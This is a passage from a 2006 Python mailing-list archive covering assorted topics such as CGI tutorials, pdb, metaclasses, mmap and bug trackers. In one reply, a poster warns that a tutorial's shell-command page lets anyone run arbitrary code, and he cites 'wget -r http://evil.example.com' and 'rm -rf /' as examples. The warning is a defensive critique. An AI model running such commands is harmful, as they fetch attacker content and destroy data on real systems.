something that somebody else wrote for editing XML and you get to use it for free. There are also other, very rare, architectural reasons to need XML. Trust me, they don't apply to your app. If in doubt, explain your use case for XML to an experienced Python developer. Or, if you have a thick skin and don't mind being laughed at, try explaining to a Lisp programmer why your application needs XML!) From deets at nospam.web.de Fri Oct 13 04:58:46 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 13 Oct 2006 10:58:46 +0200 Subject: Click and Drag Functionality in Web Apps with Python In-Reply-To: References: Message-ID: <4p92q4Fh1pc9U1@uni-berlin.de> Wijaya Edward schrieb: > Hi, > > Some recent webapps like Kiko , Google's gadget , and spreadsheets to name a few, > have this functionality. > > I wonder how can this funcitonalities be implemented in Python. > Do you guys have any experience with it? > Any Python module that support that? There is mochikit, a javascript library that makes coding in javascript suck less. And there is the pypy javascript backend. But "real" python - no. diez From python.list at tim.thechases.com Wed Oct 4 16:24:18 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 04 Oct 2006 15:24:18 -0500 Subject: CGI Tutorial In-Reply-To: <1159990808.443737.85880@i3g2000cwc.googlegroups.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1159990808.443737.85880@i3g2000cwc.googlegroups.com> Message-ID: <45241872.2020008@tim.thechases.com> >> I'm just building a Python CGI Tutorial and would appreciate any >> feedback from the many experts in this list. > > http://webpython.codepoint.net Thanks! :) My first note would be regarding http://webpython.codepoint.net/shell_commands The code is very dangerous...allowing any ol' schmoe to run arbitrary code on your server. At the barest of minimums, I'd plaster the code with warnings that this is a Very Dangerous Thing(tm) to do. Preferably, one would want to have fixed sets of commands, something like install_django = 'curl...' if command=='install_django': sub.Popen(install_django, ...) so that only trusted code is run, not arbitrary things like 'wget -r http://evil.example.com' or 'rm -rf /' which would just be bad. Similarly, regarding http://webpython.codepoint.net/debugging you might want to caution that this will/can display potentially sensitive information (passwords, internal file-structure, etc), and thus should only be used while debugging, and turned off in any sort of production code. The section on single vs. multiple field names was pretty good at giving a nice overview that there are *two* scenarios one might encounter. Just a little feedback, whether from an expert or otherwise. :) -tkc From paul at boddie.org.uk Fri Oct 6 18:04:27 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 6 Oct 2006 15:04:27 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <1160172267.566568.79030@m7g2000cwm.googlegroups.com> Terry Reedy wrote: > > When SF is down, people sometimes send tracker items to > the pydev list instead, when means someone else (who?) has to put in the > tracker or it gets lost. According to Harald Armin Massa's PostgreSQL talk at EuroPython, the PostgreSQL people manage all their bugs via mailing lists. Given that trends in revision control point towards completely decentralised solutions, I wonder whether there's anything to learn from less centralised (or more flexible) approaches to bug management. Paul From alistair.king at helsinki.fi Mon Oct 30 12:08:10 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Mon, 30 Oct 2006 19:08:10 +0200 Subject: create global variables? Message-ID: <4546317A.8040500@helsinki.fi> Hi, is there a simple way of creating global variables within a function? ive tried simply adding the variables in: def function(atom, Xaa, Xab): Xaa = onefunction(atom) Xab = anotherfunction(atom) if i can give something like: function('C') #where atom = 'C' but not necessarly include Xaa or Xab i would like to recieve: Caa = a float Cab = another float ive tried predefining Xaa and Xab before the function but they are global values and wont change within my function. Is there a simple way round this, even if i call the function with the variables ('C', Caa, Cab)? .............................................................................................................................. some actual code: # sample dictionaries DS1v = {'C': 6} pt = {'C': 12.0107} def monoVarcalc(atom): a = atom + 'aa' Xaa = a.strip('\'') m = atom + 'ma' Xma = m.strip('\'') Xaa = DS1v.get(atom) Xma = pt.get(atom) print Xma print Xaa monoVarcalc('C') print Caa print Cma .............................................................................................................................. it seems to work but again i can only print the values of Xma and Xaa ? Alistair -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From mail at microcorp.co.za Tue Oct 31 01:28:27 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 31 Oct 2006 08:28:27 +0200 Subject: Python windows interactive. References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com><45467205.3000302@websafe.com> <1162253732.035128.91060@e3g2000cwe.googlegroups.com> Message-ID: <02a801c6fcbf$173a7d20$03000080@hendrik> "notejam" Top posted: > Thanks everyone for the help. I got a simple two line program to work > from a text file. > Can not figure out how to write more than one line in interpreter mode. > Is that all interpreter is good for, testing one liners? I have it > run the program everytime I hit return, and can not figure out how to > enter multiple lines of code. I can do multiple lines in text file, so > no problem, but I am jsut wondering can a program with 2 or more lines > be wrote from the interpreter mode? the interactive interpreter remembers the stuff you type. so you can assign values to variables, and refer to them later. you can define functions and call them later that is enough to start with. try it - you will like it... - Hendrik From python.list at tim.thechases.com Wed Oct 25 15:37:01 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 25 Oct 2006 14:37:01 -0500 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> Message-ID: <453FBCDD.4000606@tim.thechases.com> > So I suppose > > if (10 > 5) > > would be the same as > > if (10 > 5) == True > > because (10 > 5) does evaluate to "True". Yes...and similarly, if ((10 > 5) == True) == True for the same reason...as does if (((10 > 5) == True) == True) == True as does... :*) -tkc From sybrenUSE at YOURthirdtower.com.imagination Sun Oct 8 17:19:43 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sun, 8 Oct 2006 23:19:43 +0200 Subject: WSGI - How Does It Affect Me? References: Message-ID: Theerasak Photha enlightened us with: >> > 3. Using IIS [...] >> >> Why would you want to use that monstrosity? > > Two words: "contractual obligation" That doesn't answer the question. It only makes me ask it to someone else, namely the parties involved in creating the contract. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From cjw at sympatico.ca Sun Oct 15 12:17:21 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Sun, 15 Oct 2006 12:17:21 -0400 Subject: Cannot import a module from a variable In-Reply-To: <87mz7xlhf1.fsf@jamie.razor.dk> References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> <87mz7xlhf1.fsf@jamie.razor.dk> Message-ID: Christian Joergensen wrote: > "Jia Lu" writes: > >> Hi all: >> >> I try to do things below: >>>>> import sys >>>>> for i in sys.modules.keys(): >> import i >> Traceback (most recent call last): >> File "", line 2, in >> import i >> ImportError: No module named i >> >> But it seems that import donot know what is i ? why? > > Try using __import__(i) instead. > (a) you need something like exec('import ' + i) for most cases but (b) "encodings" is a package i.e. it points to a directory which has an __init__.py file. Colin W. From http Tue Oct 3 04:10:48 2006 From: http (Paul Rubin) Date: 03 Oct 2006 01:10:48 -0700 Subject: I need Cryptogrphy in Python please . References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> Message-ID: <7xy7rxq0on.fsf@ruckus.brouhaha.com> "NicolasG" writes: > Can some one guide me how to fix the problem above or point me to > another Cyrptography library that I can use easily ? There are several. What do you want to do with it? From mrosenstihl at macnews.de Thu Oct 26 17:40:40 2006 From: mrosenstihl at macnews.de (Markus Rosenstihl) Date: Thu, 26 Oct 2006 23:40:40 +0200 Subject: Python segmentation fault? References: Message-ID: On 2006-10-24 02:58:56 +0200, "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> said: > Is there a way to debug scripts that cause segmentation faults? I can > do a backtrace in gdb on Python, but that doesn't really help me all > that much since, well, it has nothing to do with my script... :-P > > Any ideas? > > Thanks, > Mike I had segmentation faults on Mac, they were coming from a unpatched readline 5.1 Once compiled with readline 5.2 it was working flawlessly Regards, Markus From onurb at xiludom.gro Mon Oct 23 07:10:37 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 23 Oct 2006 13:10:37 +0200 Subject: Debugging In-Reply-To: References: Message-ID: <453ca32e$0$11823$426a34cc@news.free.fr> Fulvio wrote: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > On Saturday 21 October 2006 23:43, R. Bernstein wrote: >> (I think all of this is the case also with pdb, but someone might >> check on this; it's possible breakpoints in pdb start from 0 instead >> of 1 as is the case in gdb/pydb.) > > Thank you for your details. The pdb that I'm talking about, can be found > in /usr/lib/python2.4/pdb.py (an C:\python2.4\lib\pdb.py for the win32 > version). > I'll give a look to pydb site... > > The previous post I might have missed some explaination on my proceeding. I'd > say that I'm testing a small program under pdb control > (python /usr/lib/python2.4/pdb.py ./myprog.py). So pdb will load myprog and > stop the first line code. > Once I'm at the pdb command line I can issue the commands available inside the > pdb itself. Concerning the mentioned BP function I meant to set a > counter/function which let the BP run until reach the true condition. > Then "condition" is one of the pdb commands which let add a conditon to a BP. > The reference Manual gives information for all the pdb functions, but aren't > detailed, specially on how to set up BP conditions, like countdown, """ ignore bpnumber [count] Sets the ignore count for the given breakpoint number. If count is omitted, the ignore count is set to 0. A breakpoint becomes active when the ignore count is zero. When non-zero, the count is decremented each time the breakpoint is reached and the breakpoint is not disabled and any associated condition evaluates to true. """ > timed saw nothing about this one... but perhaps with > and > camparison conditions. """ condition bpnumber [condition] Condition is an expression which must evaluate to true before the breakpoint is honored. If condition is absent, any existing condition is removed; i.e., the breakpoint is made unconditional. """ HTH -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From pavlovevidence at gmail.com Wed Oct 18 03:30:19 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 18 Oct 2006 00:30:19 -0700 Subject: creating many similar properties In-Reply-To: References: Message-ID: <1161156619.762883.237630@e3g2000cwe.googlegroups.com> Lee Harr wrote: > I understand how to create a property like this: > > class RC(object): > def _set_pwm(self, v): > self._pwm01 = v % 256 > def _get_pwm(self): > return self._pwm01 > pwm01 = property(_get_pwm, _set_pwm) > > > But what if I have a whole bunch of these pwm properties? > > I made this: > > class RC(object): > def _makeprop(name): > prop = '_%s' % name > def _set(self, v): > v_new = v % 256 > setattr(self, prop, v_new) > def _get(self): > return getattr(self, prop) > return property(_get, _set) > > pwm01 = _makeprop('pwm01') > pwm02 = _makeprop('pwm02') > > > Not too bad, except for having to repeat the name. > > I would like to just have a list of pwm names and > have them all set up like that. It would be nice if > each one was set to a default value of 127 also.... > > Any thoughts? The metaclass solution. I use this idiom occasionally, whenever I want to fiddle with the class dict before letting the type constructor at it. class mod256metatype(type): def __new__(metatype,name,bases,clsdict): for sym in clsdict.get('__mod256__',()): prop = '_%s' % sym def _set(self,v): setattr(self,prop,v%256) def _get(self): return getattr(self,prop) clsdict[sym] = property(_get,_set) return type.__new__(metatype,name,bases,clsdict) class RC(object): __metaclass__ = mod256metatype __mod256__ = ["pwm01","pwm02"] Carl From steve at holdenweb.com Fri Oct 6 02:53:29 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 06 Oct 2006 07:53:29 +0100 Subject: Strange sorting error message In-Reply-To: <1160087994.520447.199830@e3g2000cwe.googlegroups.com> References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> <1160085635.215544.96580@h48g2000cwc.googlegroups.com> <1160087994.520447.199830@e3g2000cwe.googlegroups.com> Message-ID: Dustan wrote: > Neil Cerutti wrote: > >>On 2006-10-05, Dustan wrote: >> >>>Steve Holden wrote: >>> >>>>Dustan wrote: >>>> >>>>>I'm hiding some of the details here, because I don't want to >>>>>say what I'm actually doing. >>>>>[...] >>>> >>>>I have the answer to your problem but I don't actually want to >>>>tell you what it is. >>> >>>That's great, seeing as I already figured out the answer, as I >>>have already posted in a reply. >> >>I had a good laugh at it. >> >> >>>Are you saying I broke one of these rules? >>>http://www.catb.org/~esr/faqs/smart-questions.html >>>Or are you just being plain rude? >>>A lack of a response from you implies the latter... >> >>SPOILER SPACE >> >>It was a joke, based on you hiding what you are doing, he decided >>to hide the solution to your problem. Get it? > > > Ah, now I get it... Well, not really. I'm not outgoing, so it's hard > for me to spot a joke when I see one. > Even when it smacks you in the face, apparently. Anyway, I'm sorry if you thought I was getting at you in any way. Just trying to amuse the group ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From ptmcg at austin.rr._bogus_.com Fri Oct 6 16:43:25 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 06 Oct 2006 20:43:25 GMT Subject: n-body problem at shootout.alioth.debian.org References: Message-ID: "Peter Maas" wrote in message news:eg6bku$59b$1 at online.de... >I have noticed that in the language shootout at shootout.alioth.debian.org > the Python program for the n-body problem is about 50% slower than the > Perl > program. This is an unusual big difference. I tried to make the Python > program > faster but without success. Has anybody an explanation for the difference? > It's pure math so I expected Perl and Python to have about the same speed. > > Peter Maas, Aachen The advance method is the most fertile place for optimization, since it is called approximately n(n-1)/2 times (where n=2E7). I was able to trim about 25% from the Python runtime with these changes: Change: distance = (dx**2 + dy**2 + dz**2)**0.5 b_mass_x_mag = dt * b.mass / distance**3 b2_mass_x_mag = dt * b2.mass / distance**3 to: mag = dt / (dx*dx + dy*dy + dz*dz)**1.5 b_mass_x_mag = b.mass * mag b2_mass_x_mag = b2.mass * mag And by changing the loop iteration from: for i in xrange(len(bodies)) : b = bodies[i] for j in xrange(i + 1, len(bodies)) : b2 = bodies[j] to: remainingBodies = bodies[:] for b in bodies[:-1]: del remainingBodies[0] for b2 in remainingBodies: -- Paul From gagsl-py at yahoo.com.ar Thu Oct 26 19:14:15 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 26 Oct 2006 20:14:15 -0300 Subject: question about True values In-Reply-To: <87u01qfzy7.fsf@benfinney.id.au> References: <17727.47016.632530.720950@montanaro.dyndns.org> <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> <7xfydbhkso.fsf@ruckus.brouhaha.com> <7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar> <87u01qfzy7.fsf@benfinney.id.au> Message-ID: <7.0.1.0.0.20061026201235.03f4f7a8@yahoo.com.ar> At Thursday 26/10/2006 19:57, Ben Finney wrote: >Gabriel Genellina writes: > > At Wednesday 25/10/2006 23:29, Paul Rubin wrote: > > >Steve Holden writes: > > >I get that iter(()) is True (Python 2.3.4). > > > > It's False on 2.4.2 - and perhaps it's what one would expect, but > > since this behavior is not documented anywhere, one should not count > > on it. > >Doesn't this fall under "any empty sequence" in the following list of >evaluates-to-false: > > Not exactly, because an iterator is not a sequence. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From waldemar.osuch at gmail.com Thu Oct 5 21:04:20 2006 From: waldemar.osuch at gmail.com (Waldemar Osuch) Date: 5 Oct 2006 18:04:20 -0700 Subject: Oracle database export In-Reply-To: References: Message-ID: <1160096660.056173.187780@k70g2000cwa.googlegroups.com> On Oct 5, 9:05 am, Tor Erik Soenvisen wrote: > Hi, > > I need to export an Oracle database to a DDL-formated file. On the Web, I > found a Python script that did exactly this for a MS Access database, but > not one for Oracle databases. > > Does anyone know of such a tool or Python script. > > regards tores Would that help? http://www.python.net/crew/atuining/cx_OracleTools/README.txt Waldemar From chrispatton at gmail.com Tue Oct 31 23:21:08 2006 From: chrispatton at gmail.com (Chris) Date: 31 Oct 2006 20:21:08 -0800 Subject: .pycs Message-ID: <1162354868.711698.195140@k70g2000cwa.googlegroups.com> I had some code that I wrote that I guess I deleted. But for whatever reason I still have the bytecode .pyc file for it. Is there a way to get the code I wrote back from this? From Hakusa at gmail.com Wed Oct 25 22:08:18 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 25 Oct 2006 19:08:18 -0700 Subject: What's the best IDE? In-Reply-To: <454004a9$0$19602$88260bb3@free.teranews.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> Message-ID: <1161828498.791044.144040@f16g2000cwb.googlegroups.com> That's surely an idea, but I'm not to that point yet. Right not I'm struggling to understand a text adventure, and because I wanted to try it my own at it (before using a tutorial), this has revieled I no nothing about parsing or classes. Both are required to make an IDE I believe. As for UliPad . . . AWSOME! I love it, more than WinPy even . . . and I can't get WinPy to work at the moment, but I think I just need to reinstall Python2.5. Although customizing your syntax highlighting is a little difficult. I think it's really cool, and is so far at the top of my list, as I have yet to try Vim - maybe I'll try tomarrow. From hanumizzle at gmail.com Tue Oct 10 23:36:50 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 23:36:50 -0400 Subject: Dive Into Java? In-Reply-To: References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> Message-ID: <463ff4860610102036j26efb998r26f685a0148aac78@mail.gmail.com> On 10/10/06, Dennis Lee Bieber wrote: > On Tue, 10 Oct 2006 03:16:25 -0400, "Theerasak Photha" > declaimed the following in comp.lang.python: > > > > > BTW, love the Anglo-Saxon nickname. > > > The usage started with an old AD&D character, then got ported to a > Traveller vargr (though why an Imperial vargr and minor noble would > carry an ancient Solomani name was never explained). Since then it's > been my primary on-line name. "You read a scroll of roleplaying jokes. You are permanently confused" -- Theerasak From paddy3118 at netscape.net Fri Oct 6 15:13:49 2006 From: paddy3118 at netscape.net (Paddy) Date: 6 Oct 2006 12:13:49 -0700 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> Message-ID: <1160162029.929742.144420@i42g2000cwa.googlegroups.com> hanumizzle wrote: > On 5 Oct 2006 22:25:58 -0700, Paddy wrote: > > > You might try picking the data with a different pickle formatter that > > your Java can use. Maybe an XML pickler > > (http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE > > untested by me). > > You might also use a JSON/YAML pickler. JSON is now a subset of YAML: > > Why a subset? I was referring to comments ike: http://redhanded.hobix.com/inspect/yamlIsJson.html http://redhanded.hobix.com/inspect/jsonCloserToYamlButNoCigarThanksAlotWhitespace.html Happy coding - Paddy. From jordan.taylor2 at gmail.com Tue Oct 17 14:41:22 2006 From: jordan.taylor2 at gmail.com (Jordan) Date: 17 Oct 2006 11:41:22 -0700 Subject: external file closed In-Reply-To: <1161108008.487005.109240@b28g2000cwb.googlegroups.com> References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com> <1161107585.523458.252700@m73g2000cwd.googlegroups.com> <1161108008.487005.109240@b28g2000cwb.googlegroups.com> Message-ID: <1161110482.545263.245120@e3g2000cwe.googlegroups.com> I think the win32all extension includes the findwindow() fuction, so you could make a loop that looks for the window name (or class if it takes that) of the pdf. You can also loop through a list of running processes looking for whatever the process name is. Note that both of these have serious loopholes, such as if there is more than one pdf open. Cheers, Jordan utabintarbo wrote: > Jerry wrote: > > On Oct 17, 12:43 pm, "kilnhead" wrote: > > > I am opening a file using os.start('myfile.pdf') from python. How can I > > > know when the user has closed the file so I can delete it? Thanks. > > > > I assume you mean os.startfile. There is no way to do this directly. > > os.startfile simply hands off the call to the OS and doesn't provide > > anything to track anything after that. Since you won't know what > > program handled the file association, you couldn't watch for an > > instance of that to start up and detect when it exits. Even if you > > could, it wouldn't be reliable as in the case of PDF's and Adobe > > Acrobat Reader, the user could close the document, but not the > > application, so your script would never delete the file in question. > > > > If anyone can think of a way to do this, it would be interesting to see > > how it's done. > > > > -- > > Jerry > > os.system('myfile.pdf') will give return code upon closing. This can > also be done using the subprocess module with poll(). From maxerickson at gmail.com Wed Oct 25 22:30:58 2006 From: maxerickson at gmail.com (Max Erickson) Date: Thu, 26 Oct 2006 02:30:58 +0000 (UTC) Subject: question about True values References: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> Message-ID: Steve Holden wrote: > Gabriel Genellina wrote: >> At Wednesday 25/10/2006 22:29, Terry Reedy wrote: >> >>> >> the string class's "nil" value. Each of the builtin types >>> >> has such an "empty" or "nil" value: >>> >> >>> >> string "" >>> >> list [] >>> >> tuple () >>> >> dict {} >>> >> int 0 >>> >> float 0.0 >>> >> complex 0j >>> >> set set() >>> >> >>> >> Any other value besides the above will compare as "not >>> >> false". >>> >> >>> > >>> > And today's question for the novices is: which Python type >>> > did Skip >>> miss >>> > from the above list? >>> >>> more that one: >>> >>> 0L >>> decimal.Decimal(0) # is decimal.Decimal('0'), also >>> u'' >>> array.array('c') # or any other typecode, I suspect, without >>> initializer >> >> >> Just for fun: >> buffer('') >> frozenset() >> iter(()) >> xrange(0) >> > There's still a very obvious omission ... > > regards > Steve bool. unicode and long if you are fussy. max From http Thu Oct 26 00:41:05 2006 From: http (Paul Rubin) Date: 25 Oct 2006 21:41:05 -0700 Subject: using mmap on large (> 2 Gig) files References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161648415.830523.225520@k70g2000cwa.googlegroups.com> <1161730045.377608.221250@e3g2000cwe.googlegroups.com> Message-ID: <7xr6wvbsf2.fsf@ruckus.brouhaha.com> "sturlamolden" writes: > However, "memory mapping" a file by means of fseek() is probably more > efficient than using UNIX' mmap() or Windows' > CreateFileMapping()/MapViewOfFile(). Why on would you think that?! It is counterintuitive. fseek beyond whatever is buffered in stdio (usually no more than 1kbyte or so) requires a system call, while mmap is just a memory access. > In Python, we don't always need the file memory mapped, we normally > just want to use slicing-operators, for-loops and other goodies on > the file object -- i.e. we just want to treat the file as a Python > container object. There are many ways of achieving that. Some of the time we want to share the region with other processes. Sometimes we just want random access to a big file on disk without having to do a lot of context switches seeking around in the file. > There are in any case room for improving Python's mmap object. IMO it should have some kind of IPC locking mechanism added, in addition to the offset stuff suggested. From paul at boddie.org.uk Wed Oct 4 15:01:49 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 4 Oct 2006 12:01:49 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <1159988509.901425.289850@i3g2000cwc.googlegroups.com> Giovanni Bajo wrote: > > The current request is: "please, readers of python-dev, setup a team of 6-10 > people to handle roundup or we'll go to a non-free software for bug > tracking". Actually, it would appear that the request goes out to comp.lang.python/python-list as well (ie. the ungrateful plebs like myself who supposedly have nothing to contribute to the direction of the Python project). [...] > And besides the only thing I'm really sniping the PSF against is about > *ever* having thought of non-FLOSS software. It has already been brought up that Python plays well with everyone and everything, and thus a closed source tool projects the attitudes of the core developers. However, in contrast to the use of tools such as Roundup which have some advocacy value, the adoption of commercial products often works largely in favour of the vendor: they're seen to be helpful and charitable (which they may well be), and there's a certain level of publicity value generated from the transaction (albeit not as much as if the Bugzilla project switched over to a closed source issue tracker). Of course, this message so far probably passes for "being political" in the eyes of certain people, but I think it's interesting to put such decisions in the context of the calls to advocacy that people come out with every now and again. Indeed, I believe that the PSF now have an advocacy coordinator to lead the onslaught selling Python into "business" or whatever people regard Python advocacy to be these days. However, as an open source project it doesn't necessarily send a good message to "business" that the amazing processes that drive Python development are powered by closed source software (although they also have been through the use of SourceForge) and that the developers passed over a project that they were quite happy to use promotionally once upon a time. Indeed, while it was still running, the Software Carpentry competition (the initiative which led to the development of Roundup) was potent publicity material showing that Python and open source development produce great software. The risk is that "business" looks at the level of self-belief ("don't mention the competition by name" [1], but where the competition isn't just other languages: it's also other development methodologies) and wonders whether they wouldn't be better off with some closed source development environment for their closed source commercial product instead. I guess what plebs like myself are supposed to take away from this is the following: if the core developers are subsequently much more productive developing the language (which is not exactly the thing which requires most attention in the Python distribution these days, in my opinion), then who are we to complain as long as we can still stuff our bugs into some Web-based interface or other? Paul [1] http://holdenweb.blogspot.com/2006/03/marketing-why-do-you-use-python.html From bignose+hates-spam at benfinney.id.au Thu Oct 26 18:53:55 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 08:53:55 +1000 Subject: doesnt seems to work can any help be provided References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com> <4540bbd4$0$9134$426a74cc@news.free.fr> Message-ID: <871wouhenw.fsf@benfinney.id.au> Bruno Desthuilliers writes: > Arun Nair wrote: > > [more homework assignments, not working] > Do you really expect us to run your code, fix the bugs and send it > back? Yes, he apparently does. He's told us that it's homework, but that he hasn't learned enough from his teacher. Apparently that learning also didn't include the prohibitions against colluding with others. Nevertheless, I'll bet they are still present. > Please take a few minutes to read this: > http://catb.org/esr/faqs/smart-questions.html > > with particular attention to the following point: > http://catb.org/esr/faqs/smart-questions.html#beprecise In this case, a better section is: Grovelling is not a substitute for doing your homework -- \ "When I was a little kid we had a sand box. It was a quicksand | `\ box. I was an only child... eventually." -- Steven Wright | _o__) | Ben Finney From martin.witte at gmail.com Mon Oct 30 12:33:23 2006 From: martin.witte at gmail.com (wittempj@hotmail.com) Date: 30 Oct 2006 09:33:23 -0800 Subject: How to convert " " in a string to blank space? In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> Message-ID: <1162229603.313690.217500@h48g2000cwc.googlegroups.com> Is this what you want? py> s = 'This string contains   two times   - end' py> print s.replace(' ', ' '*6) This string contains two times - end see http://docs.python.org/lib/string-methods.html On Oct 30, 6:26 pm, "???" wrote: > Is there any simple way to solve this problem? From bignose+hates-spam at benfinney.id.au Mon Oct 9 19:49:02 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 10 Oct 2006 09:49:02 +1000 Subject: Initialization of variables using no-arg constructor References: Message-ID: <87psd19hjl.fsf@benfinney.id.au> "Edward Waugh" writes: > Consider the following (working) Python code: > > import sys > > def sum(list): > # total = 0 does not work for non-numeric types > total = list[0].__class__() > for v in list: > total += v > return total Your function assumes that all items of the list will be compatible, to the extent of '+', with the first item. That's a valid assumption, but note that it's part of the interface of the function -- i.e. the expectations of how it will be called. >>> l = ["a", ["spam", "eggs"], None, 4] >>> print sum(l) Traceback (most recent call last): File "", line 1, in ? File "", line 5, in sum TypeError: cannot concatenate 'str' and 'list' objects Since calling the function with a list containing non-numeric elements makes no sense, why are you attempting to accommodate it? If the function's interface is that it sums the items of the list numerically, then assume numbers and let the function raise an exception for the caller to handle if that's not true. If the function's interface is to do something else, it should be made clearer. A good start would be to name it something more descriptive of its actual purpose than 'sum'. -- \ "What I resent is that the range of your vision should be the | `\ limit of my action." -- Henry James | _o__) | Ben Finney From Dieter_Deyke at CoCreate.com Wed Oct 25 12:38:42 2006 From: Dieter_Deyke at CoCreate.com (Dieter Deyke) Date: Wed, 25 Oct 2006 10:38:42 -0600 Subject: web-based SSH References: <7xpscg9ymo.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin writes: > Astan Chee writes: >> I was looking for a web-based SSH client (something like >> www.port42.com..but for some reason it doesnt work..can anyone verify > > http://www.google.com/search?q=ssh+applet http://www.appgate.com/products/80_MindTerm/110_MindTerm_Download/ -- Dieter Deyke mailto:Dieter_Deyke at CoCreate.com mailto:deyke at comcast.net Vs lbh pna ernq guvf, lbh unir jnl gbb zhpu gvzr. From cginboston at hotmail.com Tue Oct 3 10:06:18 2006 From: cginboston at hotmail.com (Chaz Ginger) Date: Tue, 03 Oct 2006 14:06:18 GMT Subject: Best way to handle large lists? In-Reply-To: References: Message-ID: <45226E5D.6010108@hotmail.com> I've done that and decided that Python's 'list comprehension' isn't a way to go. I was hoping that perhaps someone had some experience with some C or C++ library that has a Python interface that would make a difference. Chaz Sybren Stuvel wrote: > Bill Williams enlightened us with: >> I don't know enough about Python internals, but the suggested >> solutions all seem to involve scanning bigList. Can this presumably >> linear operation be avoided by using dict or similar to find all >> occurrences of smallist items in biglist and then deleting those >> occurrences? > > And how would that beat O(n)? Every element of bigList has to be > scanned at one point, either to compare it to every earlier element in > bigList and eliminate it, or to compare it to every element in > smallList. > > Run benchmarks on the suggestions, and see which is fastest for > yourself. > > Sybren From bignose+hates-spam at benfinney.id.au Thu Oct 19 22:11:17 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 20 Oct 2006 12:11:17 +1000 Subject: Getting method name from within the class method References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <20061018145926.0e8d3277@opal.pathscale.com> <20061019175223.7f8b5f57@opal.pathscale.com> Message-ID: <87lknbybwa.fsf@benfinney.id.au> Mitko Haralanov writes: > On Thu, 19 Oct 2006 08:16:57 +0200 > Fredrik Lundh wrote: > > > why are you writing functions that needs to output their own name > > a 100 times? why should the program's *external* behaviour depend > > on such an irrelevant detail of its internal design? sounds like > > lousy design to me. > > I am sorry if I sound defensive in my reply here, I am not trying to > be. I believe Frederik's abrasive approach is an attempt to help you be dispassionate about your design, so that possible flaws can be examined rationally. > What does it matter why I am doing it? I only want to know if it's > possible and if so, how? Most programming forums, this one included, see a steady flow of people who, having gone some way down a particular path, believe that all they need is to be shown how to complete the journey. An examination of the *actual* problem to be solved often shows that there is a better way to go. We prefer to know what actual problem is to be solved, so that false starts can be terminated quickly, and a practical approach suggested instead. Without knowing what the actual problem is, we can't know what to suggest. -- \ "There was a point to this story, but it has temporarily | `\ escaped the chronicler's mind." -- Douglas Adams | _o__) | Ben Finney From irmen.NOSPAM at xs4all.nl Sun Oct 22 13:50:22 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Sun, 22 Oct 2006 19:50:22 +0200 Subject: Altering the way exceptions print themselves Message-ID: 